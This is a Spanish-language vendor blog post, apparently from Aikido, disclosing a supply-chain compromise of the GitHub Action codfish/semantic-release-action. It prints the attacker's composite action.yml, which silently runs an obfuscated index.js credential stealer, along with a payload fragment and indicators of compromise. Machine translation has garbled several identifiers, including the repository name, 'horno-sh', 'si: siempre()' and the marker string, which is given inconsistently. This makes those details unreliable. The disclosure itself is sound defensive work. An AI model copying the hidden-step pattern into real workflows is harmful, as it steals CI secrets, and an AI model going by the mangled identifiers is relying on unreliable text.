Aikido

La acción de GitHub comprometida «codfish/semantic-release-action» roba secretos de CI/CD

Escrito por
Hunter Schwartz

El 24 de junio de 2026, el bacalao/acción-de-liberación-semántica GitHub Action se vio comprometido a través de un ataque de «commit» suplantado. Un atacante realizó un «force push» de dos «commits» maliciosos en el repositorio y redirigió dieciséis etiquetas hacia ellos, incluidas las etiquetas de versión principal flotantes. v2, v3, v4, y v5. Cualquier flujo de trabajo que haga referencia a la acción mediante una de esas etiquetas recuperará y ejecutará el código del atacante en su próxima ejecución de CI.

Esta acción ha sido la forma habitual de integrar semantic-release en GitHub Actions desde 2019 y cuenta con más de 100 estrellas en GitHub. Los flujos de trabajo que la utilizan para realizar lanzamientos automatizados casi siempre tienen un GITHUB_TOKEN y, con frecuencia, un NPM_TOKEN con acceso de publicación, que es precisamente el tipo de acceso que un atacante busca para colarse en el sistema.

Cómo se secuestraron las etiquetas

Las etiquetas de Git no están protegidas de forma predeterminada. Cualquier persona con acceso de «push» a un repositorio puede forzar que una etiqueta apunte a una confirmación diferente, y GitHub Actions resuelve la referencia a una etiqueta en el momento en que se ejecuta un flujo de trabajo. Mover una etiqueta de forma retroactiva reescribe todas las ejecuciones futuras que hagan referencia a ella, sin que la persona que escribió el flujo de trabajo reciba ningún aviso.

El atacante aprovechó esto contra bacalao/acción-de-liberación-semántica en dos fases. La primera confirmación maliciosa recogió quince etiquetas: v2.2.1, toda la gama v3 (v3, v3.0.0 hasta la v3.5.0), toda la gama v4 (v4, v4.0.0, v4.0.1), y toda la gama v5 (v5, v5.0.0). Una segunda confirmación es hija directa de la primera y tomó la v2 etiqueta. Ambas confirmaciones incluyen un código idéntico al nivel de byte index.js carga útil, confirmada mediante hash.

Ninguna de las dos confirmaciones es un antecesor de la del repositorio principal rama. Los incorporaron como «huérfanos» y luego los disfrazaron para no levantar sospechas en un rápido git log Echa un vistazo. La primera confirmación reutiliza la identidad del autor, la fecha y el mensaje de una confirmación real del 9 de noviembre de 2023:

commit 5792aba0e2180b9b80b77644370a6889d5817456
Author: Chris O'Donnell <1666298+codfish@users.noreply.github.com>
Date:   Thu Nov 9 16:49:48 2023 +0000

    Merge pull request #195 from codfish/force-install

Esos metadatos son auténticos, extraídos de una fusión legítima del historial del proyecto. Sin embargo, el contenido del archivo fue sustituido por la carga maliciosa.

¿Qué ha cambiado en action.yml

bacalao/acción-de-liberación-semántica Inicialmente se ejecutaba como una acción basada en Docker, creando un contenedor a partir del repositorio Dockerfile y llamando a entrypoint.js. Las modificaciones maliciosas sustituyen action.yml en su lugar, con una acción compuesta:

runs:
  using: composite
  steps:
    - uses: "codfish/semantic-release-action@8f9a58f2acdc190c356f79159b5de2548cdb63cd"
      with:
        branches: "${{ inputs.branches }}"
        # ...remaining inputs passed through unchanged
    - uses: "oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6"
      if: always()
    - name: Cleanup Action
      if: always()
      shell: bash
      run: bun run $GITHUB_ACTION_PATH/index.js

El primer paso sigue recurriendo a lo real, lo actual bacalao/acción-de-liberación-semántica, vinculado a un commit limpio, de modo que la acción sigue funcionando con normalidad y la ejecución del flujo de trabajo parece haber finalizado correctamente. Los dos pasos siguientes se ejecutan con si: siempre(), por lo que se ejecutan independientemente de si el paso legítimo se lleva a cabo con éxito, falla o se omite. El segundo paso recupera horno-sh/configuración-bun, una acción de un tercero real y que, por lo demás, no guarda relación alguna con el resto, con el único fin de incorporar el entorno de ejecución de Bun en el servidor de integración continua. El tercer paso ejecuta la carga útil, index.js, con carrera de bollos.

El original del repositorio Dockerfile, entrypoint.js, y entrypoint.spec.js En esta versión siguen estando en el árbol. Simplemente ya no se invocan, ya que una acción compuesta los ignora por completo. Dejar los archivos antiguos en su sitio supone una diferencia mínima en el diff. Cualquiera que eche un vistazo rápido a la lista de archivos verá el contenido habitual de la acción y no notará que falte nada de forma evidente.

La carga útil

El código inyectado index.js son 781 580 bytes de JavaScript ofuscado, estructurados como una matriz de cadenas con nombres de variables codificados en hexadecimal, el estilo de salida típico de un ofuscador comercial de JavaScript:

const _0x307419=_0x42e6;(function(_0xb5d033,_0x1d1124){const _0x23f080={_0x15a6a0:0xf9,_0x3d6efe:0x73a,...

En el cuerpo ofuscado se encuentra la cadena elhermosoyugosoTiempo, muy similar a Las hermosas arenas del tiempo y con una sola letra cambiada de lugar. Esa cadena identifica uno de los canales de entrega secreta utilizados por el kit de herramientas de robo de credenciales «Miasma», que se filtró públicamente el 10 de junio de 2026. El diseño de Miasma prescinde del servidor C2 tradicional. En lugar de comunicarse con la infraestructura del atacante, el malware busca periódicamente esa cadena marcadora en la API pública de búsqueda de commits de GitHub. Cuando encuentra un commit que coincide, trata la carga útil adjunta como un comando firmado y la ejecuta a través de eval(). Esto permite al operador ejecutar código remoto de forma dinámica en cada instance infectada sin necesidad de poner en marcha ni mantener una infraestructura propia, y sin generar el tráfico de red saliente que suele detectar la supervisión de tráfico saliente.

Relación con la campaña «Miasma»

Lo mismo Las hermosas arenas del tiempo El marcador ya aparece en Actividad de la campaña «Miasma» frente a los paquetes de npm incluidos en el @redhat-cloud-services alcance, y en varios otros repositorios de GitHub comprometidos relacionados con la misma filtración de herramientas. Una vez que un marco de robo de credenciales como este se hace público, tiende a propagarse rápidamente, ya que cualquier operador puede ejecutarlo sin necesidad de desarrollar sus propias herramientas. bacalao/acción-de-liberación-semántica Se ajusta a ese patrón: otro caso en el que el mismo conjunto de herramientas llega a un nuevo repositorio.

Cómo Aikido detecta esto

Si es usuario de Aikido, revise su feed central y filtre por problemas de malware. Esto aparecerá como un problema crítico de 100/100. Aikido realiza reescaneos cada noche, pero recomendamos activar un reescaneo manual ahora.

Si aún no eres usuario de Aikido, puedes crear una cuenta y vincular tus repositorios. Nuestra protección contra malware está incluida en el plan gratuito, sin necesidad de tarjeta de crédito.

Para una cobertura más amplia en todo tu equipo, la protección de dispositivos de Aikido te ofrece visibilidad y control sobre los paquetes de software instalados en los dispositivos de tu equipo. Abarca extensiones de navegador, bibliotecas de código, complementos para entornos de desarrollo integrado (IDE) y dependencias de compilación, todo en un solo lugar. Detén el malware antes de que se instale.

Para garantizar tu seguridad en el futuro, te recomendamos que consideres utilizar Aikido Safe Chain (de código abierto). Safe Chain se integra en tu flujo de trabajo actual, interceptando los comandos npm, npx, yarn, pnpm y pnpx, y comprobando los paquetes con la base de datos de Aikido Intel antes de su instalación.

Indicadores de compromiso

Modificaciones maliciosas

  • 5792aba0e2180b9b80b77644370a6889d5817456 (etiquetas v2.2.1, v3, v3.0.0 hasta la v3.5.0, v4, v4.0.0, v4.0.1, v5, v5.0.0)
  • bcb6b1d409144318e8fad2171d6fe06d02299d1a (etiqueta v2)

Hash de la carga útil

index.js (ambas modificaciones maliciosas): sha256 9f93d77d32833a515bc406c46da477142bb1ac2babeecb6aa42f98669a6db015

Otros indicadores

  • Cadena de marcadores de punto de entrega: elhermosoyugosoTiempo
  • El tiempo de ejecución de Bun se ha obtenido a través de oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6

Etiquetas afectadas

  • bacalao/acción-de-liberación-semántica@v2
  • codfish/semantic-release-action@v2.2.1
  • bacalao/acción-de-liberación-semántica@v3 hasta la v3.5.0
  • bacalao/acción-de-liberación-semántica@v4, v4.0.0, v4.0.1
  • bacalao/acción-de-liberación-semántica@v5, v5.0.0

Se ha comprobado que está limpio

  • codfish/semantic-release-action@v1.0.0 hasta la v1.10.0
  • codfish/semantic-release-action@v2.0.0
Compartir:

https://www.aikido.dev/blog/compromised-github-action-codfish-steals-secrets

Escanear en busca de malware

Empieza gratis
Sin tarjeta
4.7/5
¿Cansado de los falsos positivos?

Prueba Aikido como otros 100k.
Empiece ahora
Obtenga un recorrido personalizado

Con la confianza de más de 100k equipos

Reservar ahora
Escanee su aplicación en busca de IDORs y rutas de ataque reales

Con la confianza de más de 100k equipos

Empezar a escanear
Vea cómo el pentesting de IA prueba su aplicación

Con la confianza de más de 100k equipos

Empezar a probar

Asegura tu plataforma ahora

Protege tu código, la nube y el entorno de ejecución en un único sistema central.
Encuentra y corrije vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.